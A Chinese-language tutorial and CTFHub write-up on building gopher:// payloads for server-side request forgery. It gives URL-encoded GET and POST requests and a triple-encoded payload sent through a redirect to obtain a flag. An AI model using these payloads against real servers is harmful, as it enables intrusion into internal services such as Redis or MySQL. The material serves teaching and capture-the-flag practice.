Gopher协议

概述

Gopher是互联网早期的一种协议

在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口

利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面

格式

1
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是70

  • 如果是post请求,回车换行要用到%0d%0a(post请求有几个必备请求头)

  • 基于post请求,如果有多个参数,也要把&进行URL编码(%26)

Gopher发送HTTP请求

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

GET型

格式

  • 构造HTTP数据包

  • URL编码、替换回车换行为%0d%0a

  • 发送gopher协议

问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

示例

源码:

1
2
3
<?php
echo "Hello ".$_GET["name"]."\n"
?>

请求:

1
2
GET /ssrf/get.php?name=ikunma HTTP/1.1
Host: 127.0.0.1

构造请求包:

1
2
gopher://127.0.0.1/_GET /ssrf/get.php?name=ikunma HTTP/1.1
Host: 127.0.0.1

编码(这边是一次,有的要两次)

1
gopher://127.0.0.1:80/_GET%20/ssrf/base/get.php%3fname=ikunma%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A

注:URL 编码中,%0A 和 %0a 实际上是表示相同的字符,即换行符。它们之间的区别在于大小写。在 URL 编码中,字母的大小写通常是不敏感的,因此 %0A 和 %0a 都会被解释为换行符

POST型

格式:

1
2
3
4
5
6
POST /ssrf/post.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=ikunma

写包:

1
2
3
4
5
6
gopher://127.0.0.1:80/_POST /ssrf/base/post.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=ikunma

url编码(实际操作要两次):

1
gopher://127.0.0.1:80/_POST%20%2Fssrf%2Fbase%2Fpost.php%20HTTP%2F1.1%0D%0AHost%3A127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A11%0D%0A%0D%0Aname%3Dikunma%0D%0A

编码次数

传参经过多少次跳转就需要经过多少次url编码

直接curl后接gopher://就编码一次

利用?url=gopher://就编码两次

还经过302跳转,就编码三次。

例题

CTFHub-SSRF系列-POST请求

先本地访问

1
?url=127.0.0.1/flag.php

源码:

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=a1fd25f0d3ac467c1368019781a49713-->
</form>

再访问一下302.php

1
/302.php

源码:

1
2
3
4
5
6
7
8
9
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /302.php was not found on this server.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at challenge-c47c6ea85c502c46.sandbox.ctfhub.com Port 10800</address>
</body></html>

这里通过302.php的跳转来实现gopher协议伪造

1
2
3
4
5
6
127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=a1fd25f0d3ac467c1368019781a49713

url编码3次

1
127.0.0.1%252F302.php%253Furl%253Dgopher%253A%252F%252F127.0.0.1%253A80%252F_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Da1fd25f0d3ac467c1368019781a49713

接在?url=之后